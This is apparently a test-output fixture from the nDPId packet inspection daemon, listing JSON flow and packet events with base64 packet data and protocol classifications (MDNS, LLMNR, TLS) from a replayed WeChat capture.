+00601{"flow_id":61,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1272,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":497640,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyk9pAAEAGhOPAqAFny82Tq+K2AbuZa8UQF9jEqoAYARWqOwAAAQEICgAyWHxF00JpFgMDAEYQAABCQQTKZanQFrSBWAGE7Lsy2NW8K6\/OvO32APvUx0zuyCdPie5U73QgBOPH2dgHei7rc7\/TCiKYRNjFNX\/xQHylg2LQFAMDAAEBFgMDACgAAAAAAAAAAOOqsDRMItC6TsbKzpaz8E0fEnlRnpFbFqVoK\/49cCbL"} +00496{"flow_id":61,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1273,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":766434,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABn+htAAC8GL03LzZOrwKgBZwG74rYX2MSqmWvFjoAYAHihWgAAAQEICkXTQq0AMlh8FAMDAAEBFgMDAChye55KBmqR+mMBsNTBYkeoYWUd1mB13FUml8ygNJsw+gHbUh7R9AGL"} +02113{"flow_id":61,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1274,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":767270,"pkt_caplen":1306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1306,"pkt_l4_len":1272,"pkt":"8IQvSpdgeJKcD6iOCABFAAUMk9tAAEAGgIjAqAFny82Tq+K2AbuZa8WOF9jE3YAYARWkiAAAAQEICgAyWL9F00KtFwMDBNMAAAAAAAAAAcHvuiA9RjF4n1DAZsfhFaYgxB0NT4YjRv8dVTl+b6DlurYETj0jJCqM7JyVLpodTapM3Yrffho8xQRMt0WeLfq87JRtDecyPkqe+ZI4FGDPMDkD87fMhcKqaf3lpi6Cn2\/nJ+55zpa1i3kPgEAuOi9PnWfRJeg19WoahNY77G0lapreucwEHvsN4Ie5DV8A\/UqNx3zpCxyD8aPV\/ily8DMhNV\/Yw+1HmrMbWxILWvWx7WItkVUqjf3wowJ7NNU1lk+AkE1h9XMFAbvPeyDCnV2RN8rzfbVnuLtsZ3SJqlrX\/vmI1z1oEM7B\/K3IttWUYSr7ycCNmkKkky79vq2t2hzalKCs5b4Ei\/QusRiVOlnPkKxZXhQRuqH45qFIJND149KuVlhcfOFyM7jrAUZdio6MQulW0o6Cjyjaspil9rAF10p05YJ8wF7ZJwztraQyGQ9mkFigBrjKmFeUAn8d0U0OfFgomRI1yj+0c9KeyhY3n9M9zroICMIMfU3eEl9F3ok5ZhF6Iun6zyefw3+P8jLibewXrn\/TFjoxWJOXnuWeo2xse4EqFVpWkOeGIMfbbb9GSDQUtpYyK1wgMRknW0NmLFH75qjiMchqZPDe4u\/Kjjw23MUX05s\/4R0tmrmQlOWmCF5eLXTh5oVQ6\/O0gmXTPqcr5FP8SQv\/I93TgBVPywtkleR1IMblmnh9iSqXQOCf9hm7IGHyPEzDSEQrjUA9n7Vj2+DAGIHzv4xOTRo63cIy7QQj3XW\/SGTC11Y4CtUCg2aP7EUim2BRL7hytQfMkfPN1fsooorPUdxbIbAc\/y+rAIqCY+FTIBlG2+HwfqII5Hh+Ev74VcaUM8jPx1K7+zG1gYaUxsVv1Z7Q1cE5eOGdwwiCOaj7RkVLo9YWbyGyKCHfIsUHURqchi8cqNzU\/6+eUKSiJFiaaUlSTlrVccVq6p2xCDJCOUzbPnmyuOl41yO8Zwx8OotaeHsnUunf2T\/U4yhGBMPODACwIaPQB67lnq\/svynl5Vht1bXibz8eiRJK8mL\/urNudN7EUFazwf\/WkxilrcNtaOvFzlP7a5a37HkDW7WJlZpdSNsv2xizVRyf0Yj7qngVszJD0P3hcyXtw5mB3MPINro3lWdO2W6vBkyYujoF4tGpCYscoXPXWu34F3sTM7U69CbtKkMSR1GyCsWdpCe7jo44ipHeUZdT3ArOJjZBwOZKfyvupc7QblY8k0Wh9GdWsQS6pIt+v9seSrs0311rppnQcxhNGBMAsWr3vaq0q1DlnfNNuGNUy8EtGTtX9r9jYqmKLii2wahPRQgZWzf\/69BqfAgRsMzZ9+KO\/wA4Q1PUWH4xbZbNgEd0k9HyPBRkviFNRfXAWeTvqAslD+L4+K+tK218SX7V1aaHSQVDqKj2UXa+mDwSRQNeW8M\/R1h9nzGvX6c0pnW2qQmT0ymvmB8QYc01DfrQ4n1Mn\/1VrEeSbLh7HXjl\/MoyMoHXyQ6QGIg2N1CjmvQRT7QQ+3MrDTVw3pYqNIxCp0Gkc0L+sTN+8z+foMzq7n9kAw0UxZDzCdgCJ+BqcSHrro+sOH+5qh0rbBObyzEDPiyI8sK3zQdan4\/G4wrnl3xPY6Eu1ETpgjeU5j9znGvC53N4RQLpXg=="} +01071{"flow_id":61,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1275,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167777,"pkt_ts_usec":770487,"pkt_caplen":541,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":541,"pkt_l4_len":507,"pkt":"8IQvSpdgeJKcD6iOCABFAAIPk9xAAEAGg4TAqAFny82Tq+K2AbuZa8pmF9jE3YAYARXo6wAAAQEICgAyWMBF00KtFwMDAdYAAAAAAAAAAiJw5AlDILIVinlub3KJpNa9n2V80+SM1f2MB1PS9s2Ra41u8lXPsaN8WZtufrLBnmL7KvQziCZxyD\/3CqwEmmNpjIVCAjQoDTctrhxPb2B3azM1flmVNB0SfvxDdxFp3lbJ8EGUNqHtciAbgO9nxmcrxZgL63rpZTDUYU3IA7sS5gDMlBW7AiEKodAvM7tKv8QuEinZW\/J+hN4ekW6SCGjv17dcWCVIkR1I5ShNVm0KIq7Y3mESfvmpCo9pBcvSYbSpBcJrIUX7ub9eKRAgcIlegtULx0UFrpT0xPd3lfbxWDCsz5Kh5CkZZPwT510SgkPLFE2wBtygOsgMmdLOd+1YLx+k1MFYzlDmt4Kq8n3V6Qp2cYJ7TJ+DYXnMMkQy5LoQGMlNiWAMgBztImcDr9O8f7sT+K3Si0MloKZVAqlWzV8F2yqd7x4LTIus7GgMOtCzv6kdz4GGHmckXBCeMHd7d\/Srp9D5hd1\/Fmer36+7b9zUmVoP7P3jtsww0o9w4usouU1lFbQK84ztu1bgEky6Kjs1OatjUcTt\/02OJ9ZYFq1X74Tii3IeU\/aKUXXjBMOPNoChi8WcM2fn2xkezNusTEv569tDKpozSDoOvQ=="} +00427{"flow_id":61,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1276,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167778,"pkt_ts_usec":47855,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0+hxAAC8GL3\/LzZOrwKgBZwG74rYX2MTdmWvMQYAQAJ9MCAAAAQEICkXTQvQAMli\/"} +02189{"flow_id":61,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1277,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167778,"pkt_ts_usec":77569,"pkt_caplen":1371,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1371,"pkt_l4_len":1337,"pkt":"eJKcD6iO8IQvSpdgCABFoAVN+h1AAC8GKmXLzZOrwKgBZwG74rYX2MTdmWvMQYAYAJ9ZmAAAAQEICkXTQvsAMli\/FwMDBRRye55KBmqR+7W+mX2WSBoXCfEt7a9yVY9bggIEuNK1OGX2j1eGqkvZKP173fEwPLkiCk74zkonaHPtm6jcrByVapgBL\/JDdAyjVqE61ZNlKqmARHqs5XyLVvoruLA3CAw+koAqAXdpH3mEK7b7PNkgkHBM\/aIYtllLdk6JCdwGvci9sJzmLPoL4dQQW54IHkbMQ0bFGEZfehChEvq8CxgAro+ah0\/AOyuAct0R\/aqbSba\/ueUDgZGeK2eE9u9EQz4G2X8j0csLSF8IsUO5C3tIzhrm+21ny5IMnROaGya1meu2T8h4Pz37gYrj1B2+kcqatxqg\/8BduU4PIMkvmj6df2IGpzkfS5sce4rdtXfsJ015aRVTG9Ll3xQJmF0w\/SUtgAyGfvfn6U37QQTcZHX0J39LdRZUUGfEGPpn3fOiwpBYbZaXnEZQhA1Y2Kv6hSasfHwzBqDMQ1bohAWRtrYjs6fvHeci9hqig2QpRVZnWKGDy6PLmIVzV036Nn5qW7CoQ1P+XVjo1gYqYJdfcS4JoZdZA8wRtxpURWFGk1zKmWqe5AFCInXT0z2Yk6Gvh0Qbk4iXV75doVjM6eMUgdcwo50xo+nkefBpe5yN6cA\/mRmSvBvfYzOLA33IL3HLF1+1A4DGZY65G18NiPwiYORxNHow1SH73qUYafd0lquafYK1ynVnBUFem6wdl6rBGlEOjE6P+49g7XXmN65HJfb9TfPcoalbrKlk4NiinrAr9K4C6Kqv8njs+cMzBNB3wAKQJvZ7ejqlNBJyjHyIRuPuC9haRxxY9GSfHy0Avq6YRQNewKdluDCh7VX\/mKfh1pvy15fuQrdIGf6FKsNSeIzlonXxoBLiqLSnoFbIgSjNxlImSOLGrxAx5POyCnqodztftkM+wDw+EpluSG8Zh3IlcsMDHnv+cIwRwVObjN+NMSBS2c9Z8vMeCEjNCYFYL5JORE1+kRZ8YwhK5navhOkQGT0EdHZ6s58DVin+7XMBaP3SXVx+9mJOu5kHTFTyMDloLNRngT0lhs2pgdNyxq+nVOQazT+BCRR1t7lx1kExKwxtQ88oDxMOCKCs1N2vdcnGetuTfNWglzAi5U\/73qXzdZ\/\/psLxarAQEqJjc7\/WvDTRNutKb2EhKlKvGv+l4pO8gxv5zCZscPBlSsHcBeV0A5M1FEjNWQQHum59ujRLmhcBR+QwuZwNUH+APvr76HhCUi7HTSxsdAzsnyUFNRYsPnISVPGtVJwtGe8esiSPF3dOKgtQzfMNNiqwZrPPYPb2geyiEf2PytKwgc6IKb6fXa7PtHcalcuZzLFT7ZPIkqvhzQx75hPvO5ePV\/CLG4g8Mo9+sLRMTBFhhlUVLGFr2MZMTvCei8HF5hTeBjrpEuNrEpdL9UFCFhByJQ2vxeak2kwbh4apTGy0x95\/DJ7fr5zGvtJIkVPfrsPxsXhYpPl4SmNNwUyQf9i+n7yJJk\/ncOkhwVSt8L48Z95JFTYTxUEe3dDljGYtrXrcjwsF2ZT0JrDyN\/58R46OiugDRlaTF+bPCchtnHK3qeYbNc0gcFSkM29aPxP6M0RCxQ4ACwdtzQBazkGEXIRRBoubjOPvSG7BUgGpRsF0Bzpu7DyfYI2gb1nYCckHwQDey3ugFo0GzQ+tDm9FW4JfWeIKcygjOwUp8+IEJHYscEab709rOM4Wk1CF+uG2G4mrBklh0vuIfSFXRa2L8MgYPJSeS+ek45oq"} +00437{"flow_id":62,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1293,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167778,"pkt_ts_usec":905220,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC8GKZTLzZOrwKgBZwG74reza+A99PEGyqASN8j+HgAAAgQFoAQCCApFrt5kADJYdwEDAwc="} +00426{"flow_id":62,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1294,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167778,"pkt_ts_usec":905291,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0XvxAAEAGuj\/AqAFny82Tq+K3Abv08QbKs2vgPoAQAOVjuwAAAQEICgAyWdxFrtz+"} +00495{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1327,"source":"wechat.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":24,"flow_first_seen":1492167648277,"flow_last_seen":1492167720406,"flow_tot_l4_data_len":7958,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3450,"flow_avg_l4_data_len":331,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.158.34","src_port":43850,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1327,"source":"wechat.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":36,"flow_first_seen":1492167695237,"flow_last_seen":1492167720429,"flow_tot_l4_data_len":13739,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":381,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54117,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1327,"source":"wechat.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":18,"flow_first_seen":1492167695488,"flow_last_seen":1492167720468,"flow_tot_l4_data_len":4123,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":229,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54118,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1327,"source":"wechat.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1492167788126,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1327,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167788,"pkt_ts_usec":126900,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD70CeIF3AECABFoABEPYcAAAER2HrAqAFk4AAA+xTpFOkAMOibAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00550{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1327,"source":"wechat.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1492167788126,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_googlecast._tcp.local"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1328,"source":"wechat.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1492167788128,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::91f9:3df3:7436:6cd6","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1328,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167788,"pkt_ts_usec":128365,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD70CeIF3AEht1gAAAAADARAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAAD7FOkU6QAw3CsAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00559{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1328,"source":"wechat.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1492167788128,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::91f9:3df3:7436:6cd6","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_googlecast._tcp.local"}} +00449{"flow_id":63,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1346,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167789,"pkt_ts_usec":152054,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD70CeIF3AECABFoABEPhsAAAER1+bAqAFk4AAA+xTpFOkAMOibAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00477{"flow_id":64,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1347,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167789,"pkt_ts_usec":153443,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD70CeIF3AEht1gAAAAADARAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAAD7FOkU6QAw3CsAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00450{"flow_id":63,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1348,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167789,"pkt_ts_usec":154719,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD70CeIF3AECABFoABEPiIAAAER19\/AqAFk4AAA+xTpFOkAMOibAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00449{"flow_id":63,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1349,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167789,"pkt_ts_usec":155970,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD70CeIF3AECABFoABEPiMAAAER197AqAFk4AAA+xTpFOkAMOibAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00477{"flow_id":64,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1350,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167789,"pkt_ts_usec":157362,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD70CeIF3AEht1gAAAAADARAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAAD7FOkU6QAw3CsAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00477{"flow_id":64,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1351,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167789,"pkt_ts_usec":158750,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD70CeIF3AEht1gAAAAADARAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAAD7FOkU6QAw3CsAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00449{"flow_id":63,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1358,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167790,"pkt_ts_usec":174880,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD70CeIF3AECABFoABEPlkAAAER16jAqAFk4AAA+xTpFOkAMOibAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00477{"flow_id":64,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1359,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167790,"pkt_ts_usec":176385,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD70CeIF3AEht1gAAAAADARAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAAD7FOkU6QAw3CsAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00449{"flow_id":63,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1360,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167792,"pkt_ts_usec":220612,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD70CeIF3AECABFoABEPrkAAAER10jAqAFk4AAA+xTpFOkAMOibAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00477{"flow_id":64,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1361,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167792,"pkt_ts_usec":221994,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD70CeIF3AEht1gAAAAADARAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAAD7FOkU6QAw3CsAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1362,"source":"wechat.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1492167795087,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.252","src_port":54124,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1362,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":87741,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"AQBeAAD80CeIF3AECABFoAA4QcoAAAER1ELAqAFk4AAA\/NNsFOsAJPA+T9YAAAABAAAAAAAACmxiamFtd3B0eHoAAAEAAQ=="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1362,"source":"wechat.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1492167795087,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.252","src_port":54124,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1363,"source":"wechat.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1492167795088,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.252","src_port":49832,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1363,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":88948,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD80CeIF3AECABFoAA2QcsAAAER1EPAqAFk4AAA\/MKoFOsAIsj\/\/HMAAAABAAAAAAAACGNhbnNhcWNxAAABAAE="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1363,"source":"wechat.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1492167795088,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.252","src_port":49832,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1364,"source":"wechat.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1492167795090,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.252","src_port":57401,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1364,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167795,"pkt_ts_usec":90107,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"AQBeAAD80CeIF3AECABFoAA2QcwAAAER1ELAqAFk4AAA\/OA5FOsAIm9WRGIAAAABAAAAAAAACG1jenRtcGtjAAABAAE="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1364,"source":"wechat.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1492167795090,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.252","src_port":57401,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} 